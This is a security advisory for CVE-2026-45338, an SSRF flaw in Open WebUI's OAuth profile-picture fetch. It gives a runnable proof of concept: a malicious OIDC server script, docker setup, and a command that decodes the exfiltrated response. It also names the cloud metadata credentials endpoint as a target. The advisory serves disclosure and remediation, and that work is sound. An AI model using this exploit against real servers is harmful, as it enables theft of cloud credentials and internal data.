CVE-2026-45338: Open WebUI: SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in processpictureurl() in backend/openwebui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validateurl(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.
Vulnerable Code python backend/openwebui/utils/oauth.py, line ~1337-1345 async def processpictureurl(self, pictureurl: str, accesstoken: str = None) -> str: # No validateurl() call here async with aiohttp.ClientSession(trustenv=True) as session: async with session.get(pictureurl, getkwargs, ssl=AIOHTTPCLIENTSESSIONSSL) as resp: if resp.ok: picture = await resp.read() base64encodedpicture = base64.b64encode(picture).decode('utf-8') return f'data:{guessedmimetype};base64,{base64encodedpicture}'
The codebase already uses validateurl() for the same SSRF protection pattern in other paths: - backend/openwebui/utils/files.py:38 - validateurl(url) before requests.get(url) - backend/openwebui/routers/images.py:800 - validateurl(data) before requests.get(data)
The omission in processpictureurl() is inconsistent with the project's own security practices.
Affected Code Paths
1. New user OAuth signup (line ~1556): pictureurl = await self.processpictureurl(pictureurl, token.get('accesstoken')) 2. Existing user picture update on login (line ~1536): when OAUTHUPDATEPICTUREONLOGIN=true
Steps to Reproduce
Prerequisites - Open WebUI instance with generic OIDC OAuth configured - ENABLEOAUTHSIGNUP=true
Setup
1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint: python """Minimal OIDC PoC server - save as pocoidc.py""" from http.server import HTTPServer, BaseHTTPRequestHandler import json, urllib.parse
SSRFTARGET = "http://host.docker.internal:9000/canary" CANARY = "SSRFCONFIRMEDOPENWEBUI"
class Handler(BaseHTTPRequestHandler): def doGET(self): path = urllib.parse.urlparse(self.path).path query = urllib.parse.parseqs(urllib.parse.urlparse(self.path).query) if path == "/.well-known/openid-configuration": self.json({"issuer":"http://host.docker.internal:9000", "authorizationendpoint":"http://localhost:9000/authorize", "tokenendpoint":"http://host.docker.internal:9000/token", "userinfoendpoint":"http://host.docker.internal:9000/userinfo", "jwksuri":"http://host.docker.internal:9000/jwks", "responsetypessupported":["code"],"subjecttypessupported":["public"], "idtokensigningalgvaluessupported":["RS256"], "tokenendpointauthmethodssupported":["clientsecretpost","clientsecretbasic"]}) elif path == "/authorize": ru = query.get("redirecturi",[""])[0] st = query.get("state",[""])[0] self.sendresponse(302) self.sendheader("Location", f"{ru}?code=poc-code&state={st}") self.endheaders() elif path == "/userinfo": self.json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRFTARGET}) elif path == "/jwks": self.json({"keys":[]}) elif path == "/canary": self.sendresponse(200) self.sendheader("Content-Type","text/plain") body = CANARY.encode() self.sendheader("Content-Length",len(body)) self.endheaders() self.wfile.write(body) print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!") else: self.sendresponse(404); self.endheaders() def doPOST(self): if "/token" in self.path: self.json({"accesstoken":"tok","tokentype":"bearer","expiresin":3600, "userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRFTARGET}}) def json(self, d): b = json.dumps(d).encode() self.sendresponse(200) self.sendheader("Content-Type","application/json") self.sendheader("Content-Length",len(b)) self.endheaders() self.wfile.write(b)
HTTPServer(("0.0.0.0", 9000), Handler).serveforever()
2. Run the PoC server: bash python3 pocoidc.py
3. Start Open WebUI with Docker: bash docker run -d -p 3000:8080 \ --name owui-ssrf-test \ --add-host=host.docker.internal:host-gateway \ -e ENABLEOAUTHSIGNUP=true \ -e WEBUIAUTH=true \ -e OAUTHCLIENTID=test-client \ -e OAUTHCLIENTSECRET=test-secret \ -e OPENIDPROVIDERURL=http://host.docker.internal:9000/.well-known/openid-configuration \ -e OAUTHPROVIDERNAME=TestOIDC \ -e "OAUTHSCOPES=openid email profile" \ ghcr.io/open-webui/open-webui:main
4. Create an admin account at http://localhost:3000, then sign out.
5. Click "Continue with TestOIDC" on the login page.
6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!
7. Verify exfiltrated data is stored and readable: bash curl -s http://localhost:3000/api/v1/auths/ \ -H "Authorization: Bearer <session-token>" | python3 -c " import sys, json, base64 data = json.load(sys.stdin) url = data.get('profileimageurl', '') if 'base64,' in url: decoded = base64.b64decode(url.split('base64,',1)[1]).decode() print(f'DECODED: {decoded}') "
Result: DECODED: SSRFCONFIRMEDOPENWEBUI
The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profileimageurl, and the attacker can read it back via the API.
Impact
An attacker can force the Open WebUI server to make HTTP requests to:
- Cloud metadata endpoints (AWS IMDSv1 at http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials - Internal network services not exposed to the internet - Localhost-bound services (Redis, Elasticsearch, internal APIs)
This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profileimageurl field.
Configuration Note
This vulnerability requires ENABLEOAUTHSIGNUP=true (for the new-user path) or OAUTHUPDATEPICTUREONLOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.
Suggested Fix
Apply validateurl() before fetching, consistent with existing patterns in the codebase: python from openwebui.retrieval.web.utils import validateurl
async def processpictureurl(self, pictureurl: str, accesstoken: str = None) -> str: if not pictureurl: return '/user.png' try: validateurl(pictureurl) # Add this line # ... rest unchanged
Other sources
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a Server-Side Request Forgery (SSRF) vulnerability exists in processpictureurl() in backend/openwebui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validateurl(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. This vulnerability is fixed in 0.9.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/open-webuito a version that resolves this vulnerability.Fixed in 0.9.0 - Upgrade
Upgrade
Open WebUIto a version that resolves this vulnerability.Fixed in 0.9.0 - Compensating control
In _process_picture_url(), call validate_url(picture_url) before fetching the OAuth profile picture URL, consistent with the existing SSRF protection paths.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-45338?
CVE-2026-45338 has a severity that requires immediate attention as it allows for Server-Side Request Forgery (SSRF) attacks.
How do I fix CVE-2026-45338?
To fix CVE-2026-45338, upgrade to version 0.9.0 or later of the open-webui package.
Which versions of open-webui are affected by CVE-2026-45338?
CVE-2026-45338 affects all versions of open-webui up to and including 0.8.12.
What is the impact of exploiting CVE-2026-45338?
Exploiting CVE-2026-45338 could allow attackers to make arbitrary requests from the server, potentially accessing sensitive data.
How can I identify if my application is vulnerable to CVE-2026-45338?
You can identify vulnerability to CVE-2026-45338 by checking if your application uses an affected version of the open-webui package.